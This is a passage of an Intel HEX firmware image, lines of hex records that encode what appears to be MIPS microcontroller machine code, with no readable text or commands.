:10519400f801c68f25208600f801c4afc22603009b
:1051a400fc01c4aff801c58f0400a5300002c5afef
:1051b400fc01c68f0000c6300402c6af0002c28fd5
:1051c400212002022b1090000402c38f2128230205
:1051d4002110450021284000218080002188a00062
:1051e4001800c48f21b8400f00000000c021030044
:1051f400422e02000802c5af0802c68f2520860091
:105204000802c4af422603000c02c4af0802c58fd3
:105214000800a5301002c5af0c02c68f0000c630ce
:105224001402c6af1002c28f212002022b1090007c
:105234001402c38f21282302211045002128400095
:10524400218080002188a0001800c48f21b8400f5d
:105254000000000000220300022e02001802c5af65
:105264001802c68f252086001802c4af0226030048
:105274001c02c4af1802c58fc21705001c02c68fda
:10528400403006002402c6af2402c38f2510430019
:105294002402c2af1802c48f402004002002c4af0d
:1052a4002002c58f1000a5302802c5af2402c68f86
:1052b4000000c6302c02c6af2802c28f2120020291
:1052c4002b1090002c02c38f2128230221104500ab
:1052d40021284000218080002188a0001800c48f6c
:1052e40021b8400f0000000000220300022e02003b
:1052f4003002c5af3002c68f252086003002c4af0d
:10530400022603003402c4af3002c58f42170500e1
:105314003402c68fc03006003c02c6af3c02c38fc5
:10532400251043003c02c2af3002c48fc0200400e9
:105334003802c4af3802c58f2000a5304002c5af83
:105344003c02c68f0000c6304402c6af4002c28f82
:10535400212002022b1090004402c38f2128230233
:105364002110450021284000218080002188a000d0
:105374001800c48f21b8400f000000000022030071
:10538400022e02004802c5af4802c68f25208600bf
:105394004802c4af022603004c02c4af4802c58fc2
:1053a400c21605004c02c68f403106005402c6af37
:1053b4005402c38f251043005402c2af4802c48f65
:1053c400402104005002c4af5002c58f4000a530f4
:1053d4005802c5af5402c68f0000c6305c02c6af87
:1053e4005802c28f212002022b1090005c02c38f4e
:1053f400212823022110450021284000218080001b
:105404002188a0001800c48f21b8400f00000000bc
:1054140000220300022e02006002c5af6002c68fa4
:10542400252086006002c4af022603006402c4afd4
:105434006002c58f421605006402c68fc0310600a3
:105444006c02c6af6c02c38f251043006c02c2af5e
:105454006002c48fc02104006802c4af6802c5930f
:105464007002c5af6c02c68f0000c6307402c6afae
:105474007002c28f212002022b1090007402c38f8d
:1054840021282302211045002128400021108000fa
:105494002118a00002260200002a03007c02c5afe6
:1054a4007c02c68f252086007c02c4af0022020045
:1054b4007802c4af7802c68f212046022b109200d6
:1054c4007c02c38f2128630221104500212840005b
:1054d400211080002118a00002240200002c0300e7
:1054e4008402c5af8402c68f252086008402c4af1f
:1054f400002402008002c4af8002c68f21208602ed
:105504002b1094008402c38f2128a302211045008c
:105514002128400021b0800021b8a0001800c48fc9
:1055240021b8400f00000000c22103008802c4af6c
:105534008c02c0af8802c58f0100a5309002c5afb0
:105544008c02c68f0000c6309402c6af1800c48f08
:1055540021b8400f00000000422103009802c4afac
:105564009c02c0af9802c58f0200a530a002c5af4f
:105574009c02c68f0000c630a402c6af9002c28f40
:10558400a002c38f212043009002c68f2b108600f7
:105594009402c38fa402c68f2128660021104500ff
:1055a40021284000218080002188a0001800c48f99
:1055b40021b8400f00000000c2200300a802c4afbd
:1055c400ac02c0afa802c58f0400a530b002c5afbd
:1055d400ac02c68f0000c630b402c6afb002c28fa0
:1055e400212002022b109000b402c38f2128230231
:1055f4002110450021284000218080002188a0003e
:105604001800c48f21b8400f00000000422003009e
:10561400b802c4afbc02c0afb802c58f0800a53041
:10562400c002c5afbc02c68f0000c630c402c6affc
:10563400c002c28f212002022b109000c402c38f2b
:1056440021282302211045002128400021808000c8
:105654002188a0001800c48f21b8400f000000006a
:1056640002200300c802c4afcc02c0afc802c58f79
:10567400c2170500cc02c68f40300600d402c6af64
:10568400d402c38f25104300d402c2afc802c48f12
:1056940040200400d002c4afd002c58f1000a53052
:1056a400d802c5afd402c68f0000c630dc02c6af34
:1056b400d802c28f212002022b109000dc02c38f7b
:1056c4002128230221104500212840002180800048
:1056d4002188a0001800c48f21b8400f00000000ea
:1056e40002200300e002c4afe402c0afe002c58fb1
:1056f40042170500e402c68fc0300600ec02c6afb4
:10570400ec02c38f25104300ec02c2afe002c48f49
:10571400c0200400e802c4afe802c58f2000a53011
:10572400f002c5afec02c68f0000c630f402c6af6b
:10573400f002c28f212002022b109000f402c38fca
:1057440021282302211045002128400021808000c7
:105754002188a0001800c48f21b8400f0000000069
:1057640002200300f802c4affc02c0aff802c58fe8
:10577400c2160500fc02c68f403106000403c6af02
:105784000403c38f251043000403c2aff802c48f7f
:10579400402104000003c4af0003c58f4000a530be
:1057a4000803c5af0403c68f0000c6300c03c6afa0
:1057b4000803c28f212002022b1090000c03c38f18
:1057c4002128230221104500212840002180800047
:1057d4002188a0001800c48f21b8400f00000000e9
:1057e400022003001003c4af1403c0af1003c58f1d
:1057f400421605001403c68fc03106001c03c6af51
:105804001c03c38f251043001c03c2af1003c48fb5
:10581400c02104001803c4af1803c5932003c5af07
:105824001c03c68f0000c6302403c6af2003c28ffa
:10583400212002022b1090002403c38f212823026d
:105844002110450021284000219080002198a000cb
:105854001800c48f21b8400f00000000c2230300c9
:105864002803c4af2c03c0af2803c58f0100a530a3
:105874003003c5af2c03c68f0000c6303403c6af57
:105884001800c48f21b8400f000000004223030019
:105894003803c4af3c03c0af3803c58f0200a53042
:1058a4004003c5af3c03c68f0000c6304403c6aff7
:1058b4003003c28f4003c38f212043003003c68fbf
:1058c4002b1086003403c38f4403c68f212866003f
:1058d4002110450021284000218080002188a0005b
:1058e4001800c48f21b8400f00000000c22203003a
:1058f4004803c4af4c03c0af4803c58f0400a530b0
:105904005003c5af4c03c68f0000c6305403c6af66
:105914005003c28f212002022b1090005403c38f26
:1059240021282302211045002128400021808000e5
:105934002188a0001800c48f21b8400f0000000087
:10594400422203005803c4af5c03c0af5803c58fa1
:105954000800a5306003c5af5c03c68f0000c630e5
:105964006403c6af6003c28f212002022b10900093
:105974006403c38f212823022110450021284000fd
:10598400218080002188a0001800c48f21b8400f16
:1059940000000000022203006803c4af6c03c0af20
:1059a4006803c58fc21705006c03c68f403006001c
:1059b4007403c6af7403c38f251043007403c2afce
:1059c4006803c48f402004007003c4af7003c58f04
:1059d4001000a5307803c5af7403c68f0000c6302d
:1059e4007c03c6af7803c28f212002022b109000e3
:1059f4007c03c38f21282302211045002128400065
:105a0400218080002188a0001800c48f21b8400f95
:105a140000000000022203008003c4af8403c0af6f
:105a24008003c58f421705008403c68fc03006006b
:105a34008c03c6af8c03c38f251043008c03c2af05
:105a44008003c48fc02004008803c4af8803c58fbb
:105a54002000a5309003c5af8c03c68f0000c6306c
:105a64009403c6af9003c28f212002022b10900032
:105a74009403c38f212823022110450021284000cc
:105a8400218080002188a0001800c48f21b8400f15
:105a940000000000022203009803c4af9c03c0afbf
:105aa4009803c58fc21605009c03c68f40310600bb
:105ab400a403c6afa403c38f25104300a403c2af3d
:105ac4009803c48f40210400a003c4afa003c58f72
:105ad4004000a530a803c5afa403c68f0000c6309c
:105ae400ac03c6afa803c28f212002022b10900082
:105af400ac03c38f21282302211045002128400034
:105b0400218080002188a0001800c48f21b8400f94
:105b14000000000002220300b003c4afb403c0af0e
:105b2400b003c58f42160500b403c68fc03106000a
:105b3400bc03c6afbc03c38f25104300bc03c2af74
:105b4400b003c48fc0210400b803c4afb803c59325
:105b5400c003c5afbc03c68f0000c630c403c6afc4
:105b6400c003c28f212002022b109000c403c38ff4
:105b74002128230221104500212840002110800003
:105b84002118a00002260200002a0300cc03c5af9e
:105b9400cc03c68f25208600cc03c4af00220200ac
:105ba400c803c4afc803c68f212046022b1092003d
:105bb400cc03c38f21286302211045002128400013
:105bc40021a0800021a8a0001800c48f21b8400f94
:105bd40000000000c2250300d003c4afd403c0af4b
:105be400d003c58f0100a530d803c5afd403c68f39
:105bf4000000c630dc03c6af1800c48f21b8400fc4
:105c04000000000042250300e003c4afe403c0af7a
:105c1400e003c58f0200a530e803c5afe403c68fd7
:105c24000000c630ec03c6afd803c28fe803c38fad
:105c340021204300d803c68f2b108600dc03c38fba
:105c4400ec03c68f2128660021104500212840005e
:105c5400218080002188a0001800c48f21b8400f43
:105c640000000000c2240300f003c4aff403c0af7b
:105c7400f003c58f0400a530f803c5aff403c68f45
:105c84000000c630fc03c6aff803c28f2120020215
:105c94002b109000fc03c38f212823022110450000
:105ca40021284000218080002188a0001800c48f92
:105cb40021b8400f00000000422403000004c4afd8
:105cc4000404c0af0004c58f0800a5300804c5afa4
:105cd4000404c68f0000c6300c04c6af0804c28f8b
:105ce400212002022b1090000c04c38f21282302d0
:105cf4002110450021284000218080002188a00037
:105d04001800c48f21b8400f0000000002240300d3
:105d14001004c4af1404c0af1004c58fc21705002b
:105d24001404c68f403006001c04c6af1c04c38f85
:105d3400251043001c04c2af1004c48f402004008b
:105d44001804c4af1804c58f1000a5302004c5afd3
:105d54001c04c68f0000c6302404c6af2004c28fc2
:105d6400212002022b1090002404c38f2128230237
:105d74002110450021284000218080002188a000b6
:105d84001800c48f21b8400f000000000224030053
:105d94002804c4af2c04c0af2804c58f42170500e3
:105da4002c04c68fc03006003404c6af3404c38f3d
:105db400251043003404c2af2804c48fc02004005b
:105dc4003004c4af3004c58f2000a5303804c5affb
:105dd4003404c68f0000c6303c04c6af3804c28ffa
:105de400212002022b1090003c04c38f212823029f
:105df4002110450021284000218080002188a00036
:105e04001800c48f21b8400f0000000002240300d2
:105e14004004c4af4404c0af4004c58fc21605009b
:105e24004404c68f403106004c04c6af4c04c38ff3
:105e3400251043004c04c2af4004c48f4021040029
:105e44004804c4af4804c58f4000a5305004c5af12
:105e54004c04c68f0000c6305404c6af5004c28f31
:105e6400212002022b1090005404c38f2128230206
:105e74002110450021284000218080002188a000b5
:105e84001800c48f21b8400f000000000224030052
:105e94005804c4af5c04c0af5804c58f4216050053
:105ea4005c04c68fc03106006404c6af6404c38fab
:105eb400251043006404c2af5804c48fc0210400f9
:105ec4006004c4af6004c5936804c5af6404c68f9e
:105ed4000000c6306c04c6af6804c28f21200202e1
:105ee4002b1090006c04c38f21282302211045003d
:105ef40021284000219080002198a0001800c48f20
:105f040021b8400f00000000c22703007004c4af92
:105f14007404c0af1800c48f21b8400f0000000003
:105f2400422f03007804c5af7c04c0af7804c68f49
:105f34000200c6308004c6af7c04c28f0000423029
:105f44008404c2af7004c38f8004c68f212066000e
:105f54007004c38f2b1083007404c68f8404c38f12
:105f64002128c30021104500212840002180800001
:105f74002188a0001800c48f21b8400f0000000041
:105f8400c22603008804c4af8c04c0af8804c58f44
:105f94000400a5309004c5af8c04c68f0000c63041
:105fa4009404c6af9004c28f212002022b109000eb
:105fb4009404c38f21282302211045002128400086
:105fc400218080002188a0001800c48f21b8400fd0
:105fd40000000000422603009804c4af9c04c0af34
:105fe4009804c58f0800a530a004c5af9c04c68fd3
:105ff4000000c630a404c6afa004c28f2120020250
:106004002b109000a404c38f2128230221104500e3
:1060140021284000218080002188a0001800c48f1e
:1060240021b8400f0000000002260300a804c4affa
:10603400ac04c0afa804c58fc2170500ac04c68f5a
:1060440040300600b404c6afb404c38f2510430027
:10605400b404c2afa804c48f40200400b004c4af89
:10606400b004c58f1000a530b804c5afb404c68f02
:106074000000c630bc04c6afb804c28f212002029f
:106084002b109000bc04c38f21282302211045004b
:1060940021284000218080002188a0001800c48f9e
:1060a40021b8400f0000000002260300c004c4af62
:1060b400c404c0afc004c58f42170500c404c68f12
:1060c400c0300600cc04c6afcc04c38f25104300f7
:1060d400cc04c2afc004c48fc0200400c804c4af41
:1060e400c804c58f2000a530d004c5afcc04c68f2a
:1060f4000000c630d404c6afd004c48f21100402fb
:106104002b205000d404c58f2118250221208300a0
:106114002118800021804000218860001800c48f6d
:1061240021b8400f0000000002360300d804c6afb7
:10613400dc04c0afd804c38fc2160300dc04c48fd0
:1061440040210400e404c4afe404c58f25104500d5
:10615400e404c2afd804c68f40310600e004c6afe1
:10616400e004c28f40004230e804c2afe404c38fad
:1061740000006330ec04c3afe804c48f21100402b0
:106184002b205000ec04c58f211825022120830008
:106194002118800021804000218860001800c48fed
:1061a40021b8400f0000000002360300f004c6af1f
:1061b400f404c0aff004c38f42160300f404c48f88
:1061c400c0210400fc04c4affc04c58f25104500a5
:1061d400fc04c2aff004c68fc0310600f804c6af99
:1061e400f804c2930005c2affc04c38f00006330ff
:1061f4000405c3af0005c48f211004022b205000f6
:106204000405c58f21182502212083002118800050
:1062140002260200003203000c05c6af0c05c58f30
:10622400252085000c05c4af003202000805c6af66
:106234000805c48f211044022b2052000c05c58f81
:106244002118650221208300211880000224020005
:10625400003403001405c6af1405c58f252085003e
:106264001405c4af003402001005c6af1005c48f76
:10627400211084022b2054001405c58f2118a50277
:106284002120830021188000003002001c05c6afc5
:106294001805c0af1805c48f2110c4022b20560066
:1062a4001c05c58f2118e5022120830021188000d8
:1062b4002000c2af2400c3af1c00c28f01004224df
:1062c4001800c2af1800c48f200005242e57410fb8
:1062d400000000001c00c2af1c00c28f0800401464
:1062e40000000000049d023c0c5b44242013410f79
:1062f4000000000021100000979a400b00000000ed
:106304001c00c28f000040a01800c48fa34a410f94
:106314000000000021184000080002240800621058
:1063240000000000049d023c1c5b44242013410f28
:106334000000000021100000979a400b00000000ac
:106344001800c48fc4b7400f00000000c21102003f
:10635400010050301800c48fc4b7400f0000000083
:106364004211020002004230218002021800c48f50
:10637400c4b7400f00000000c21002000400423005
:10638400218002021800c48fc4b7400f000000002f
:106394004210020008004230218002021800c48f1b
:1063a400c4b7400f0000000040100200100042304b
:1063b400218002021800c48fc4b7400f00000000ff
:1063c400c010020020004230218002021800c48f55
:1063d400c4b7400f000000004011020040004230ea
:1063e400218002021800c48fc4b7400f00000000cf
:1063f400c0110200ff004230218002021800c48f45
:10640400c4b7400f00000000c21302000100513065
:106414001800c48fc4b7400f0000000042130200ec
:1064240002004230218822021800c48fc4b7400ff2
:1064340000000000c212020004004230218822023f
:106444001800c48fc4b7400f0000000042120200bd
:1064540008004230218822021800c48fc4b7400fbc
:10646400000000000212020040100200100042303e
:10647400218822021800c48fc4b7400f0000000016
:1064840002120200c01002002000423021882202c1
:106494001800c48fc4b7400f0000000002120200ad
:1064a4004011020040004230218822021800c48fab
:1064b400c4b7400f0000000002120200c011020025
:1064c400ff00423021102202001202002180020249
:1064d4001800c48fc4b7400f00000000c2150200aa
:1064e400010051301800c48fc4b7400f00000000f1
:1064f4004215020002004230218822021800c48f93
:10650400c4b7400f00000000c2140200040042306f
:10651400218822021800c48fc4b7400f0000000075
:106524004214020008004230218822021800c48f5d
:10653400c4b7400f00000000021402004010020023
:1065440010004230218822021800c48fc4b7400fc3
:106554000000000002140200c010020020004230bb
:10656400218822021800c48fc4b7400f0000000025
:10657400021402004011020040004230218822022d
:106584001800c48fc4b7400f0000000002140200ba
:10659400c0110200ff004230218822021800c48f7b
:1065a400c4b7400f00000000c29702001800c48f57
:1065b400c4b7400f0000000042170200020042303e
:1065c400219042021800c48fc4b7400f000000009d
:1065d400c216020004004230219042021800c48f07
:1065e400c4b7400f00000000421602000800423009
:1065f400219042021800c48fc4b7400f000000006d
:1066040002160200401002001000423021904202a3
:106614001800c48fc4b7400f000000000216020027
:10662400c010020020004230219042021800c48fa2
:10663400c4b7400f0000000002160200401102001f
:1066440040004230219042021800c48fc4b7400f6a
:106654000000000002160200c0110200ff004230d8
:106664002110420200120200211022020014020032
:10667400211002022800c2af1c00c28f0100422474
:106684001800c2af1800c48fa34a410f00000000d5
:1066940021184000080002240800621000000000d5
:1066a400049d023c4c5b44242013410f0000000075
:1066b40021100000979a400b000000001800c48fbe
:1066c400c4b7400f00000000c211020001005030a6
:1066d4001800c48fc4b7400f00000000421102002c
:1066e40002004230218002021800c48fc4b7400f58
:1066f40000000000c21002000400423021800202a7
:106704001800c48fc4b7400f0000000042100200fc
:1067140008004230218002021800c48fc4b7400f21
:1067240000000000401002001000423021800202ec
:106734001800c48fc4b7400f00000000c01002004e
:1067440020004230218002021800c48fc4b7400fd9
:10675400000000004011020040004230218002028b
:106764001800c48fc4b7400f00000000c01102001d
:10677400ff004230218002021800c48fc4b7400fca
:1067840000000000c2130200010051301800c48f41
:10679400c4b7400f00000000421302000200423060
:1067a400218822021800c48fc4b7400f00000000e3
:1067b400c212020004004230218822021800c48f51
:1067c400c4b7400f0000000042120200080042302b
:1067d400218822021800c48fc4b7400f00000000b3
:1067e40002120200401002001000423021882202ee
:1067f4001800c48fc4b7400f00000000021202004a
:10680400c010020020004230218822021800c48fe8
:10681400c4b7400f00000000021202004011020041
:1068240040004230218822021800c48fc4b7400fb0
:106834000000000002120200c0110200ff004230fa
:106844002110220200120200218002021800c48fcb
:10685400c4b7400f00000000c2150200010051300f
:106864001800c48fc4b7400f000000004215020096
:1068740002004230218822021800c48fc4b7400f9e
:1068840000000000c21402000400423021882202e9
:106894001800c48fc4b7400f000000004214020067
:1068a40008004230218822021800c48fc4b7400f68
:1068b40000000000021402004010020010004230e8
:1068c400218822021800c48fc4b7400f00000000c2
:1068d40002140200c010020020004230218822026b
:1068e4001800c48fc4b7400f000000000214020057
:1068f4004011020040004230218822021800c48f57
:10690400c4b7400f0000000002140200c0110200ce
:10691400ff004230218822021800c48fc4b7400f00
:1069240000000000c29702001800c48fc4b7400fd3
:10693400000000004217020002004230219042028f
:106944001800c48fc4b7400f00000000c216020034
:1069540004004230219042021800c48fc4b7400f93
:10696400000000004216020008004230219042025a
:106974001800c48fc4b7400f0000000002160200c4
:106984004010020010004230219042021800c48fcf
:10699400c4b7400f0000000002160200c01002003d
:1069a40020004230219042021800c48fc4b7400f27
:1069b40000000000021602004011020040004230b4
:1069c400219042021800c48fc4b7400f0000000099
:1069d40002160200c0110200ff00423021104202e0
:1069e40000120200211022020014020021100202ef
:1069f4002c00c2af2800c28f1000a2af2c00c28f9f
:106a04001400a2af00a0023ce06944242000c68f19
:106a14002400c78fd601410f000000004805c28f33
:106a2400049d033c7c5b658c7c5b64240400848c47
:106a3400030045a8000045b8070044a8040044b872
:106a44007c5b632408006490080044a00900639000
:106a5400090043a00100022421e8c0034405bf8fbc
:106a64004005be8f3c05b78f3805b68f3405b58f0a
:106a74003005b48f2c05b38f2805b28f2405b18f50
:106a84002005b08f4805bd270800e0030000000082
:106a940090ffbd276c00bfaf6800beaf21f0a0031c
:106aa4007000c4af7400c5af7400c48fa34a410f13
:106ab40000000000211840000800022408006210b1
:106ac40000000000049d023c885b44242013410f15
:106ad4000000000021100000db9a400b00000000c1
:106ae4007400c48fa9b7400f000000001000c2afab
:106af4001000c48f20000524f6b2400f00000000ef
:106b04001400c3272120600021284000200006240f
:106b140068b6400f000000004000c3271400c227dd
:106b2400212060002128400020000624aaba400f3a
:106b3400000000003400c3271400c2272120600095
:106b4400212840002000062463b9400f0000000003
:106b54003400c2277000c48f212840007f49410fb0
:106b6400000000000100022421e8c0036c00bf8f74
:106b74006800be8f7000bd270800e003000000001d
:106b840078ffbd278400bfaf8000beaf21f0a00313
:106b94008800c4af8c00c5af8c00c48fa34a410fda
:106ba400000000001000c2af1000c28f2100422874
:106bb4000800401400000000049d023cb05b442423
:106bc4002013410f00000000211000001d9b400b0a
:106bd400000000003800c227212040008c00c58f2f
:106be40077ba400f000000001000c28fff0042304f
:106bf4003800c327212060002128400044b7400ffb
:106c0400000000001400c2af1000c28fff00423029
:106c14001400c48f21284000f6b2400f0000000089
:106c2400211840001000c28f1800c42721286000da
:106c34002130400068b6400f000000001000c28ff1
:106c44005800c4271800c3272128600021304000c1
:106c5400aaba400f000000005800c2278800c48f61
:106c6400212840007f49410f000000000100022458
:106c740021e8c0038400bf8f8000be8f8800bd2739
:106c84000800e00300000000e8ffbd271400bfafc8
:106c94001000beaf21f0a0031800c4af1c00c5afa4
:106ca4001800c48f1c00c58fa59a400f0000000077
:106cb40021e8c0031400bf8f1000be8f1800bd2749
:106cc4000800e00300000000e8ffbd271400bfaf88
:106cd4001000beaf21f0a0031800c4af1c00c5af64
:106ce4001800c48f1c00c58fe19a400f00000000fb
:106cf40021e8c0031400bf8f1000be8f1800bd2709
:106d04000800e00300000000e0febd271c01bfaf47
:106d14001801beaf21f0a0032001c4af2401c5af08
:106d240000a0023cdc2442241c00c2af2000c0afff
:106d3400049d023cdc5544242013410f0000000054
:106d44002400c22721204000d2ad400f00000000e3
:106d54000800401400000000049d023ce055442457
:106d64002013410f00000000211000001c9c400b68
:106d7400000000003000c3272400c2272120600047
:106d840021284000e7b8400f000000002401c48f10
:106d9400200005242e57410f000000002000c2af40
:106da4002000c28f0800401400000000049d023c33
:106db400f45544242013410f00000000211000006a
:106dc4001c9c400b000000002000c28f000040a06b
:106dd4005000c227212040002401c58fe7b8400f8e
:106de4000000000021184000200002240800621066
:106df40000000000049d023c185644242013410f57
:106e040000000000211000001c9c400b000000004a
:106e14002000c28f010042245000c32720006324b5
:106e24002120600021284000e7b8400f0000000046
:106e34002118400020000224080062100000000015
:106e4400049d023c345644242013410f00000000ea
:106e5400211000001c9c400b000000009000c32780
:106e64005000c2272120600021284000458e400f99
:106e7400000000000800401400000000049d023cd3
:106e8400505644242013410f00000000211000003c
:106e94001c9c400b000000009000c5275000c32735
:106ea4003000c2271c00c48f21306000213840000c
:106eb400d28e400f000000000800401400000000c3
:106ec400049d023c785644242013410f0000000026
:106ed400211000001c9c400b00000000280002242c
:106ee400ec00c2affc9b400b00000000f000c0af00
:106ef4005000c22721204000229c400f00000000c7
:106f04000800401400000000049d023cd85b4424a7
:106f14002013410f00000000211000001c9c400bb6
:106f240000000000dd9b400b00000000ec00c58f5a
:106f3400f000c3275000c2271c00c48f213060001a
:106f4400213840005a9c400f000000000800401403
:106f540000000000049d023cf85b44242013410f10
:106f640000000000211000001c9c400b00000000e9
:106f7400ec00c38ff000c28f23106200340042285b
:106f8400eaff401000000000f000c38fec00c527aa
:106f94005000c2273000c4271000a4af1c00c48fc7
:106fa4002130600021384000da9c400f00000000ce
:106fb4000800401400000000049d023c205c4424ae
:106fc4002013410f00000000211000001c9c400b06
:106fd40000000000ec00c28f049d033c485c642464
:106fe400212840002013410f00000000ec00c28f54
:106ff40000084228bdff4014000000001800c0af84
:10700400159c400b000000001800c28f1c00c38fa9
:1070140021106200a800c32721206000212840001d
:107024000001062463b9400f00000000a800c22735
:10703400049d033c6c5c6424212840002013410f10
:10704400000000001800c28f000142241800c2afe3
:107054001800c28f00084228ebff40140000000013
:107064002001c28f000040a00100022421e8c003d7
:107074001c01bf8f1801be8f2001bd270800e0034b
:1070840000000000c8ffbd273400bfaf3000beaf12
:1070940021f0a0033800c4af1800c227212040000b
:1070a400d2ad400f000000000800401400000000b2
:1070b400049d023c745c44242013410f0000000032
:1070c40021100000549c400b000000000c8180af94
:1070d4001800c22721204000d2ad400f000000005c
:1070e4000800401400000000049d023ca05c4424fd
:1070f4002013410f0000000021100000549c400b9d
:10710400000000002400c2271000a0af212040008e
:107114003800c58f4000062403000724da90400f8e
:10712400000000000800401400000000049d023c20
:10713400d85c44242013410f0000000021100000fb
:10714400549c400b000000000100022421e8c0030d
:107154003400bf8f3000be8f3800bd270800e00325
:1071640000000000c8fbbd273404bfaf3004beaf2d
:1071740021f0a0033804c4af3c04c5af4004c6af3b
:107184004404c7af4004c28f0000428c3c04c38f48
:1071940023106200d6ff42241800c2af1800c28f29
:1071a4000a0042280800401000000000049d023c30
:1071b400085d44242013410f00000000211000004a
:1071c400d49c400b000000001800c28fff0142282d
:1071d4000300401400000000fe0102241800c2afa6
:1071e4001800c28f6666033c676663341800430068
:1071f4001018000083180300c31702002310620054
:107204002000c2af1c00c0af939c400b00000000e4
:107214001c00c28f4010020080180200211043009d
:107224002400c3272110620021204000049d023c59
:107234007c58452477ba400f000000001c00c28f20
:10724400010042241c00c2af1c00c38f2000c28f67
:107254002a106200eeff4014000000004004c28fb8
:107264000000428c3804c38f211862002000c28fb2
:107274004010020080200200211044002402c42790
:107284002400c5272130600021384000e88f400fda
:10729400000000002000c28f40100200801802008d
:1072a400211043002404c4272402c3271000a0afe4
:1072b400212860002130400003000724da90400fa9
:1072c400000000000800401400000000049d023c7f
:1072d400385d44242013410f0000000021100000f9
:1072e400d49c400b000000002404c227212040004d
:1072f400049d023ce0564524734d410f00000000fc
:107304000800401400000000049d023c6c5d44240d
:107314002013410f0000000021100000d49c400bfa
:10732400000000004004c28f0000438c2000c28f84
:10733400401002008020020021104400200042245a
:10734400211862004004c28f000043ac21e8c0034e
:107354003404bf8f3004be8f3804bd270800e00317
:1073640000000000a8fbbd275404bfaf5004beaf0b
:1073740021f0a0035804c4af5c04c5af6004c6afd9
:107384006404c7af5c04c28f0000438c6004c28fe6
:10739400231062001c00c2af1c00c28f0a004228e6
:1073a4000800401000000000049d023cac5d442431
:1073b4002013410f0000000021100000629d400bcb
:1073c400000000001c00c28f6666033c67666334dd
:1073d400180043001018000083180300c3170200ac
:1073e400231062002000c2af1800c0af0c9d400bf8
:1073f400000000001800c28f401002008018020034
:10740400211043002400c3272110620021204000e2
:10741400049d023c7c58452477ba400f00000000cc
:107424001800c28f010042241800c2af1800c38f95
:107434002000c28f2a106200eeff401400000000fa
:107444006004c28f5804c38f211862002000c28fc9
:107454004010020080200200211044002402c427ae
:107464002400c5272130600021384000e88f400ff8
:10747400000000002000c28f4010020080180200ab
:10748400211043002404c4272402c3271000a0af02
:10749400212860002130400003000724da90400fc7
:1074a400000000000800401400000000049d023c9d
:1074b400dc5d44242013410f000000002110000073
:1074c400629d400b000000002404c22721204000dc
:1074d400049d023ce0564524734d410f000000001a
:1074e4000800401400000000049d023c105e442487
:1074f4002013410f0000000021100000629d400b8a
:10750400000000003004c3272404c22721206000a7
:1075140021284000e7b8400f000000002000c28f7f
:10752400401002008018020021104300211840007e
:107534006004c28f211062005804c38f21186200b6
:107544003004c22721206000212840006804c68f2f
:1075540020000724e88f400f000000002000c28fa5
:107564004010020080180200211843006004c28ffa
:1075740021106200200043245c04c28f000043ac4d
:107584000100022421e8c0035404bf8f5004be8fbd
:107594005804bd270800e00300000000d8ffbd2701
:1075a4002400bfaf2000beaf21f0a0032800c4af69
:1075b4002c00c5af3000c6af2800c28f000040a029
:1075c4001400c227212040002c00c58f77ae400f45
:1075d400000000005c004010000000001000c0af7c
:1075e4009e9d400b000000001400c2272120400093
:1075f4001000c58f1000c68fcc43410f000000005f
:1076040014004014000000001400c2272120400090
:107614002c00c58f77ae400f00000000040040141a
:107624000000000021100000d49d400b0000000069
:10763400049d023c505e448c505e43240400638ce1
:107644001400c4af1800c3af505e42240800429037
:107654001c00c2a31400c2272800c48f21284000a4
:107664005856410f000000001000c28f0100422450
:107674001000c2af1000c28f08004228daff401485
:10768400000000003000c28f2900401000000000fc
:107694001c00c0a31000c0afc19d400b000000003f
:1076a400049d023c5c5e44241000c58f8513410f89
:1076b400000000001000c28fc01002002800c38f19
:1076c400211062001400c3272120600021284000fb
:1076d40008000624494a410f000000001400c22794
:1076e400049d033c6c5c6424212840002013410f5a
:1076f400000000001000c28f010042241000c2af3d
:107704001000c28f08004228e5ff4014000000006a
:10771400049d023c645e4424049d023cdc554524e3
:107724002013410f00000000d09d400b000000001a
:107734002800c48fee9d400f0000000001000224c9
:10774400d49d400b000000002110000021e8c0037c
:107754002400bf8f2000be8f2800bd270800e0034f
:1077640000000000e0ffbd271c00bfaf1800beaf43
:1077740021f0a0031000c0af079d023cffbf4434ba
:107784001000c227212840000400062400a0023c67
:107794005c454724424c410f0000000021e8c0032f
:1077a4001c00bf8f1800be8f2000bd270800e00317
:1077b40000000000e0ffbd271c00bfaf1800beaff3
:1077c40021f0a0032000c4af1400c22721204000f0
:1077d400079d023cffbf453404000624494a410f7b
:1077e400000000001400c28f7f00422c04004014eb
:1077f4000000000021100000259e400b0000000046
:107804002000c48f2b9e400f000000001000c2af68
:107814001000c28f04004010000000000100022488
:10782400259e400b000000001400c28f8019020046
:10783400079d023c03c04234211062001000c2af15
:107844001000c48f2000c58f4000062400a0023c15
:107854005c454724424c410f000000001400c28fd5
:10786400010042241400c2af1400c227079d033c48
:10787400ffbf6434212840000400062400a0023c19
:107884005c454724424c410f0000000001000224e3
:1078940021e8c0031c00bf8f1800be8f2000bd2745
:1078a4000800e00300000000d8ffbd272400bfaf9c
:1078b4002000beaf21f0a0032800c4af1000c0af69
:1078c4001400c0af1800c22721204000079d023ccd
:1078d400ffbf453404000624494a410f000000005c
:1078e4001800c28f8000422c0800401400000000e1
:1078f400049d023c685e44242013410f00000000f4
:1079040021100000609e400b000000001400c0af76
:10791400079d023c03c042341000c2af5a9e400b84
:10792400000000002800c48f1000c58f400006240a
:10793400d352410f00000000040040140000000076
:107944001000c28f609e400b000000001400c28f24
:10795400010042241400c2af1000c28f4000422430
:107964001000c2af1800c28f1400c38f2b10620026
:10797400ecff4014000000002110000021e8c003c7
:107984002400bf8f2000be8f2800bd270800e0031d
:1079940000000000e0ffbd271c00bfaf1800beaf11
:1079a40021f0a0031000c22721204000079d023cc3
:1079b400ffbf453404000624494a410f000000007b
:1079c400049d023cdc5544242013410f00000000b8
:1079d4001000c28f8000422c0800401400000000f8
:1079e400049d023c8c5e44242013410f00000000df
:1079f40021100000879e400b000000001000c28f81
:107a0400049d033ca45e6424212840002013410ffc
:107a1400000000000100022421e8c0031c00bf8f05
:107a24001800be8f2000bd270800e00300000000fe
:107a3400d0ffbd272c00bfaf2800beaf21f0a003ac
:107a44003000c4af3400c5af1800c2272120400065
:107a5400079d023cffbf453404000624494a410ff8
:107a640000000000049d023cdc5544242013410f17
:107a7400000000001800c28f08004014000000003d
:107a8400049d023cb85e44242013410f0000000012
:107a940001000224069f400b000000003000c28f4a
:107aa4000500401400000000010002243000c2afb1
:107ab4001800c28f3400c2af1800c28f8000422c5d
:107ac40010004010000000001800c28f3000c38f67
:107ad4002b1043000b004014000000003400c38f3f
:107ae4003000c28f2b10620006004014000000001a
